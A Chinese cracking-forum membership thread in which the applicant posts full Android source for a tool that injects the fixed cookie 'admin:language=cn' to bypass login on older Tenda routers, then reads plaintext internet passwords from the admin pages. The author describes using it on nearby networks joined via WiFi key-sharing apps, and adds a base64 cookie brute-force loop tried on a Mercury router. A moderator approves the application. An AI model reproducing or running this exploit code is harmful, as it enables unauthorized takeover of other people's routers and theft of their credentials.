发表于 2016-5-16 17:38

申请会员ID: 5240【申请通过】

1、申 请 I D:5240
2、个人邮箱:610444789@qq.com
3、原创技术文章:针对注入Cookies获取腾达路由器管理权限写的安卓端程序


仅适用与部分腾达路由器。
最近用WiFi万能钥匙之类的接入了几个网络,发现附近有不少的腾达存在cookies漏洞,所以写了这个安卓端的小工具(PC端的52已经有人写了)
原理是腾达一些比较旧的路由器的cookies是固定死的,只要把cookie伪装成: admin:language=cn 就可以绕过验证直接获得管理权限。
地址栏默认加载网关地址。要注意的是现在很多SSID都是用AP之类的发射出来的,上面可能还有更高层的真·路由。所以如果不是同一个网段的话下级还是可以访问到上级网关的,所以不妨多试试常见的路由器管理地址
一些星号内容可以通过查看源码直接看到加密内容,也可以通过导出路由器配置文件通过文本编辑器进行查看

代码不多,就写到一个类里面了,直接放代码:


package com.example.40.tengda;

import android.net.wifi.WifiManager;
import android.support.v7.app.AlertDialog;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.View;
import android.webkit.CookieManager;
import android.webkit.CookieSyncManager;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;
import android.widget.EditText;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;

public class MainActivity extends AppCompatActivity {
    Button btn_LoadURL;
    Button btn_LoadSRC;
    Button btn_CleanCookies;
    WebView webView;
    EditText url;
    String nowURL = "";//当前链接
    String resultStr = "";//页面源码
    boolean cookieSet = true;

    @Override
    protected void onCreate(Bundle savedInstanceState) {

      super.onCreate(savedInstanceState);
      setContentView(R.layout.activity_main);
      btn_LoadURL = (Button) findViewById(R.id.button);
      btn_LoadSRC = (Button) findViewById(R.id.button2);
      btn_CleanCookies = (Button) findViewById(R.id.button3);
      url = (EditText) findViewById(R.id.editText);
      webView = (WebView) findViewById(R.id.webView);

      //获取网关地址
      WifiManager wm = (WifiManager) getSystemService(WIFI_SERVICE);
      long getewayIpL = wm.getDhcpInfo().gateway;
      //转为常用IP格式加载到地址栏
      url.setText("http://" + long2ip(getewayIpL));
      //webview一些属性的设置
      setWebView();


      //加载页面按钮事件
      assert btn_LoadURL != null;
      btn_LoadURL.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                if (cookieSet) {
                  CookieManager cookieManager = CookieManager.getInstance();
                  cookieManager.setAcceptCookie(true);
                  cookieManager.setCookie(url.getText().toString(), "admin:language=cn");//这里是最关键的,加载腾达Cookies
                }
                webView.loadUrl(url.getText().toString());//加载url
                webView.requestFocus(); //获取焦点
            }
      });

      //加载源码按钮事件
      assert btn_LoadSRC != null;
      btn_LoadSRC.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                nowURL = webView.getUrl();
                //http请求必须用线程加载不然报错
                Thread visitBaiduThread = new Thread(new VisitWebRunnable());
                visitBaiduThread.start();
                try {
                  visitBaiduThread.join();
                  AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                  if (!resultStr.equals("")) {
                        EditText srcText = new EditText(MainActivity.this);   //用文本框来放源代码,以供复制相关信息
                        srcText.setText(resultStr + "");

                        builder.setTitle("页面源码");
                        builder.setView(srcText);
                        builder.create().show();
                  }
                } catch (InterruptedException e) {
                  e.printStackTrace();
                }
            }
      });

      //清理cookies按钮事件
      btn_CleanCookies.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                removeAllCookie(url.getText().toString());
            }
      });
    }

    //http请求必须用线程加载不然报错
    class VisitWebRunnable implements Runnable {
      @Override
      public void run() {
            // TODO Auto-generated method stub
            try {
                httpRequestGet(nowURL);
            } catch (Exception e) {
                e.printStackTrace();
            }
      }
    }

    //http请求
    private void httpRequestGet(String urlStr) throws Exception {
      resultStr = "";
      URL url = new URL(urlStr);
      HttpURLConnection httpConn = (HttpURLConnection) url.openConnection();
      if (cookieSet) {
            httpConn.setRequestProperty("Cookie", "admin:language=cn");//看需要决定用不用cookies
      }
      httpConn.connect();
      BufferedReader reader = new BufferedReader(new InputStreamReader(httpConn.getInputStream(), "GBK"));
      String lines;
      while ((lines = reader.readLine()) != null) {
            resultStr += lines + "\n";
      }
      reader.close();
      httpConn.disconnect();
    }

    //清除cookie
    //cookies是根据URL来加载的
    //webview默认会保存cookies信息,所以要有清理功能
    //否则如果连接另外一个采用相同地址的路由并手动提交cookies之后会保存该cookies,造成冲突
    private void removeAllCookie(String url) {
      cookieSet = !cookieSet;
      if (!cookieSet) {
            btn_CleanCookies.setText("启用Cookies");
      } else {
            btn_CleanCookies.setText("清理Cookies");
      }
      CookieSyncManager cookieSyncManager = CookieSyncManager.createInstance(webView.getContext());
      CookieManager cookieManager = CookieManager.getInstance();
      cookieManager.setAcceptCookie(true);
      cookieManager.removeSessionCookie();
      String testcookie1 = cookieManager.getCookie(url);
      cookieManager.removeAllCookie();
      cookieSyncManager.sync();
    }

    //转换ip地址
    String long2ip(long ip) {
      StringBuffer sb = new StringBuffer();
      sb.append(String.valueOf((int) (ip & 0xff)));
      sb.append('.');
      sb.append(String.valueOf((int) ((ip >> 8) & 0xff)));
      sb.append('.');
      sb.append(String.valueOf((int) ((ip >> 16) & 0xff)));
      sb.append('.');
      sb.append(String.valueOf((int) ((ip >> 24) & 0xff)));
      return sb.toString();
    }

    //webView属性设置
    private void setWebView() {
      webView.setWebViewClient(new WebViewClient() {
            //当点击链接时,希望覆盖而不是打开新窗口
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, String url) {
                view.loadUrl(url);//加载新的url
                return true;    //返回true,代表事件已处理,事件流到此终止
            }
      });
      WebSettings settings = webView.getSettings();
      settings.setSupportZoom(true);          //支持缩放
      settings.setBuiltInZoomControls(true);//启用内置缩放装置
      settings.setJavaScriptEnabled(true);    //启用JS脚本

      //点击后退按钮,让WebView后退一页(也可以覆写Activity的onKeyDown方法)
      webView.setOnKeyListener(new View.OnKeyListener() {
            @Override
            public boolean onKey(View v, int keyCode, KeyEvent event) {
                if (event.getAction() == KeyEvent.ACTION_DOWN) {
                  if (keyCode == KeyEvent.KEYCODE_BACK && webView.canGoBack()) {
                        webView.goBack();   //后退
                        return true;    //已处理
                  }
                }
                return false;
            }
      });
    }
}

Hmily 发表于 2016-5-18 15:54

抱歉,未能达到申请要求,申请不通过,可以关注论坛官方微信(吾爱破解论坛),等待开放注册通知。
ps:这个过程过于简单,有没有原创分析加编码的内容提供更多信息申请。

发表于 2016-5-18 16:58

Hmily 发表于 2016-5-18 15:54
抱歉,未能达到申请要求,申请不通过,可以关注论坛官方微信(吾爱破解论坛),等待开放注册通知。
ps:这 ...

OK,我这边会找时间把详细的过程写一下,到时是开新贴还是直接在这贴上来?

Hmily 发表于 2016-5-18 18:11

游客 58.63.182.x 发表于 2016-5-18 16:58
OK,我这边会找时间把详细的过程写一下,到时是开新贴还是直接在这贴上来?

跟帖回复我就可以了。

发表于 2016-5-19 22:11

Hmily 发表于 2016-5-18 18:11
跟帖回复我就可以了。

比原来的代码加多了一点功能,目前本程序将用到联网权限和获取WiFi相关信息的权限,所以需要在 AndroidManifest.xml 中加入这两句
<uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>


首先是布局,一个EditText用来输入地址,因为一般路由器的管理地址都是dhcp分配的网关地址,默认端口80,所以我们这里EditText初始化时直接获取网关地址,前面加个协议。后面是两个ImageView,分别写了相对应加载页面,设置菜单的点击事件。
下面是一个WebView,用来显示页面。







Android自带的webview非常垃圾,经常有各种不支持,这里只是临时用用,先设置webview相关属性:
//webView属性设置
    private void setWebView() {
      webView.setWebViewClient(new WebViewClient() {
            //当点击链接时,希望覆盖而不是打开新窗口
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, String url) {
                view.loadUrl(url);//加载新的url
                return true;    //返回true,代表事件已处理,事件流到此终止
            }
      });
      WebSettings settings = webView.getSettings();
      settings.setSupportZoom(true);          //支持缩放
      settings.setBuiltInZoomControls(true);//启用内置缩放装置
      settings.setJavaScriptEnabled(true);    //启用JS脚本

      //点击后退按钮,让WebView后退一页(也可以覆写Activity的onKeyDown方法)
      webView.setOnKeyListener(new View.OnKeyListener() {
            @Override
            public boolean onKey(View v, int keyCode, KeyEvent event) {
                if (event.getAction() == KeyEvent.ACTION_DOWN) {
                  if (keyCode == KeyEvent.KEYCODE_BACK && webView.canGoBack()) {
                        webView.goBack();   //后退
                        return true;    //已处理
                  }
                }
                return false;
            }
      });
    }



写个简单的菜单来进行相关的功能管理
<?xml version="1.0" encoding="utf-8"?>
<resources>
      <array name="ItemArray">
            <item>刷新页面</item>
            <item>页面源码</item>
            <item>启用cookie</item>
            <item>禁用cookie</item>
            <item>修改cookie</item>
            <item>读取cookie</item>
            <item>修改编码</item>
            <item>退出</item>
      </array>
</resources>

//弹出菜单选项
    private void showMenu() {
      AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
      builder.setItems(getResources().getStringArray(R.array.ItemArray), new DialogInterface.OnClickListener() {
            public void onClick(DialogInterface arg0, int arg1) {
                switch (arg1) {
                  case 0://刷新页面
                        webView.reload();
                        break;
                  case 1://页面源码
                        nowURL = webView.getUrl();
                        //http请求必须用线程加载不然报错
                        Thread visitThread = new Thread(new VisitWebRunnable());
                        visitThread.start();
                        try {
                            visitThread.join();
                            if (!resultStr.equals("")) {
                              EditText srcText = new EditText(MainActivity.this);   //用文本框来放源代码,以供复制相关信息
                              srcText.setText(resultStr + "");
                              new AlertDialog.Builder(MainActivity.this).setTitle("页面源码").setView(srcText).create().show();
                            }
                        } catch (InterruptedException e) {
                            e.printStackTrace();
                        }
                        break;
                  case 2://启用cookie
                        cookieSet = true;
                        removeAllCookie();
                        Toast.makeText(getApplicationContext(), "启用Cookies成功", Toast.LENGTH_SHORT).show();
                        break;
                  case 3://禁用cookie
                        cookieSet = false;
                        removeAllCookie();
                        Toast.makeText(getApplicationContext(), "禁用Cookies成功", Toast.LENGTH_SHORT).show();
                        break;
                  case 4://修改cookie
                        final EditText cookieEdit = new EditText(MainActivity.this);
                        cookieEdit.setText(cookie);
                        new AlertDialog.Builder(MainActivity.this)
                              .setTitle("请输入cookie值")//提示框标题
                              .setView(cookieEdit)
                              .setPositiveButton("确定",//提示框的两个按钮
                                        new android.content.DialogInterface.OnClickListener() {
                                          @Override
                                          public void onClick(DialogInterface dialog,
                                                                int which) {
                                                removeAllCookie();//要先清理原来的cookie,不然会有多个cookie
                                                cookie = cookieEdit.getText().toString();
                                          }
                                        }).setNegativeButton("取消", null).create().show();
                        cookieEdit.selectAll();
                        break;
                  case 5://读取当前cookie
                        try {
                            EditText cookieText = new EditText(MainActivity.this);   //用文本框来放源代码,以供复制相关信息
                            cookieText.setText(loadCookie(webView.getUrl()) + "");
                            new AlertDialog.Builder(MainActivity.this).setTitle("当前cookie").setView(cookieText).create().show();
                        } catch (Exception e) {
                            Toast.makeText(getApplicationContext(), "读取cookie失败", Toast.LENGTH_SHORT).show();
                        }
                        break;
                  case 6://修改编码
                        final EditText charsetEdit = new EditText(MainActivity.this);
                        charsetEdit.setText(charset);
                        new AlertDialog.Builder(MainActivity.this)
                              .setTitle("请输入编码类型")//提示框标题
                              .setView(charsetEdit)
                              .setPositiveButton("确定",//提示框的两个按钮
                                        new android.content.DialogInterface.OnClickListener() {
                                          @Override
                                          public void onClick(DialogInterface dialog,
                                                                int which) {
                                                charset = charsetEdit.getText().toString();
                                          }
                                        }).setNegativeButton("取消", null).create().show();
                        charsetEdit.selectAll();
                        break;
                  case 7://退出
                        removeAllCookie();
                        android.os.Process.killProcess(android.os.Process.myPid());
                        System.exit(0);
                        break;
                  default:
                        break;
                }
                arg0.dismiss();
            }
      });
      builder.show();
    }




程序启动时先获取WiFi信息并读取dhcp分配的网关地址,同时ip地址需要从long转换成我们常见的格式
WifiManager wm = (WifiManager) getSystemService(WIFI_SERVICE);
      long getewayIpL = wm.getDhcpInfo().gateway;
      url.setText("http://" + long2ip(getewayIpL));//转为常用IP格式加载到地址栏

//转换ip地址
    String long2ip(long ip) {
      StringBuffer sb = new StringBuffer();
      sb.append(String.valueOf((int) (ip & 0xff)));
      sb.append('.');
      sb.append(String.valueOf((int) ((ip >> 8) & 0xff)));
      sb.append('.');
      sb.append(String.valueOf((int) ((ip >> 16) & 0xff)));
      sb.append('.');
      sb.append(String.valueOf((int) ((ip >> 24) & 0xff)));
      return sb.toString();
    }



接着是加载页面的代码,腾达的一些旧路由器存在一个漏洞,管理员cookie是固定死的 admin:language=cn ,所以我们可以利用这个漏洞,在加载管理页面时注入cookie,直接绕开登陆取得管理员权限
String cookie = "admin:language=cn";
assert btn_go != null;
      btn_go.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                if (cookieSet) {
                  CookieManager cookieManager = CookieManager.getInstance();
                  cookieManager.setAcceptCookie(true);
                  cookieManager.setCookie(url.getText().toString(), cookie);
                }
                webView.loadUrl(url.getText().toString());
                webView.requestFocus(); //获取焦点
            }
      });



我们看到上网口令部分是星号,其实路由器返回的数据中上网口令是明文的,然后又经过了js处理成了星号,所以我们可以通过查看返回的页面代码来得到明文口令
nowURL = webView.getUrl();
                        //http请求必须用线程加载不然报错
                        Thread visitThread = new Thread(new VisitWebRunnable());
                        visitThread.start();
                        try {
                            visitThread.join();
                            if (!resultStr.equals("")) {
                              EditText srcText = new EditText(MainActivity.this);   //用文本框来放源代码,以供复制相关信息
                              srcText.setText(resultStr + "");
                              new AlertDialog.Builder(MainActivity.this).setTitle("页面源码").setView(srcText).create().show();//用一个dialog来输出源码
                            }
                        } catch (InterruptedException e) {
                            e.printStackTrace();
                        }

//http请求必须用线程加载不然报错
    class VisitWebRunnable implements Runnable {
      @Override
      public void run() {
            // TODO Auto-generated method stub
            try {
                httpRequestGet(nowURL);
            } catch (Exception e) {
                e.printStackTrace();
            }
      }
    }

    //http请求
    private void httpRequestGet(String urlStr) throws Exception {
      resultStr = "";
      URL url = new URL(urlStr);
      HttpURLConnection httpConn = (HttpURLConnection) url.openConnection();
      if (cookieSet) {
            httpConn.setRequestProperty("Cookie", cookie);//这里同样要加载cookie,不过有些路由器不存在此漏洞
//如果加载此cookie会造成即使输入正确密码也无法产生正确cookie登陆等问题,所以要加个开关看情况加载
      }
      httpConn.connect();
      BufferedReader reader = new BufferedReader(new InputStreamReader(httpConn.getInputStream(), charset));//腾达的旧设备大部分默认编码是gb2312,有部分是utf-8,编码写死有时加载中文会导致乱码,所以这里用charset手动修改编码
      String lines;
      while ((lines = reader.readLine()) != null) {
            resultStr += lines + "\n";
      }
      reader.close();
      httpConn.disconnect();
    }




另外因为cookie是根据url地址加载的,而我们的WiFi网关经常都是192.168.0.1之类的,如果我们在某台路由器上登陆了,在另外一台登陆时由于网关地址相同,会加载上一台保存的cookie,导致提交多个cookie,造成无法登陆等问题,所以需要一个清理cookie的功能
//清除cookie
    private void removeAllCookie() {
      CookieSyncManager cookieSyncManager = CookieSyncManager.createInstance(webView.getContext());
      CookieManager cookieManager = CookieManager.getInstance();
      cookieManager.setAcceptCookie(true);
      cookieManager.removeSessionCookie();
      cookieManager.removeAllCookie();
      cookieSyncManager.sync();
    }




----------------------------------------------------分割线----------------------------------------------------

期间还研究了一下,想通过cookie穷举爆破有次数锁的路由,结果发现对cookie一样有限制次数,所以想通过cookie爆破也不可行,还是把过程也写出来吧

找了台有次数锁的同时知道管理密码的水星路由来进行测试(密码123456)
首先先正常登陆,并抓包拿到cookie,抓包的时候可以通过规则过滤出我们要的数据包,http表示只显示http协议的,ip.dst==192.168.0.1表示只显示目标地址是192.168.0.1(网关)的。


通过抓包我们拿到了 Cookie: Authorization=Basic%20YWRtaW46MTIzNDU2 ,目前大部分家用路由的cookie都只是重要信息部分经过了一层base64编码,少部分用md5,这里这个cookie明显就是只经过base64的。%20是空格,我们把里面的YWRtaW46MTIzNDU2这部分拿去base64解码,解出来是admin:123456,那么确定没错了,我们可以大概知道这种型号的路由器cookie生成方式了。


简单测试一下:写个循环,先随便拿个返回值作比较,结果发现提交错误cookie满10次照样锁,所以可以放弃这种方法了
String re0 = "", re1 = "", re2 = "";
      for (int i = 123430; i < 123458; i++) {//密码是123456,路由限制是10次错误就锁,这里只测试一下可行性所以先随便跑10次以上
            String enbase64 = getBase64("admin:" + i);//需要base64编码部分
            String cookie = "Cookie: Authorization=Basic%20" + enbase64;//拼接成cookie
re2=sendGet("http://192.168.1.1", cookie);//提交,获取返回值
//因为已经知道密码是123456,随便找个错误的进行匹配比较。如果是不知道的情况下可以通过用新返回值匹配上一个返回值来找密码
            if (i == 123455) {
                re0 = re2;
            }
            if (i == 123456) {
                re1 = re2;
            }

      if (re1.equals(re0)) {
            System.out.println("same");
      } else {
            System.out.println("not same");
      }


另外在测试一台TP的时候发现提交错误累计满10次时路由器的web服务挂了(通过正常提交错误密码的话满10次是会返回个提示等待两小时的页面的),过了两小时也没恢复,路由功能倒是还在正常运行,不知道这个是偶然事件还是TP的bug,等有空再深入测试

Hmily 发表于 2016-5-20 11:04

ID:5240
邮箱:610444789@qq.com

申请通过,欢迎光临吾爱破解论坛,期待吾爱破解有你更加精彩,ID和密码自己通过邮件密码找回功能修改,请即时登陆并修改密码!
登陆后请在一周内在此帖报道,否则将删除ID信息。

5240 发表于 2016-5-20 11:30

前来报到,感谢Hmily版主

chenzs2005 发表于 2016-6-3 17:09

欢迎!!!!

neversaydie 发表于 2016-6-5 13:01

欢迎!!!!!!!!

aiLT 发表于 2016-6-7 20:14

欢迎!!!!!!!!
页: [1] 2
查看完整版本: 申请会员ID: 5240【申请通过】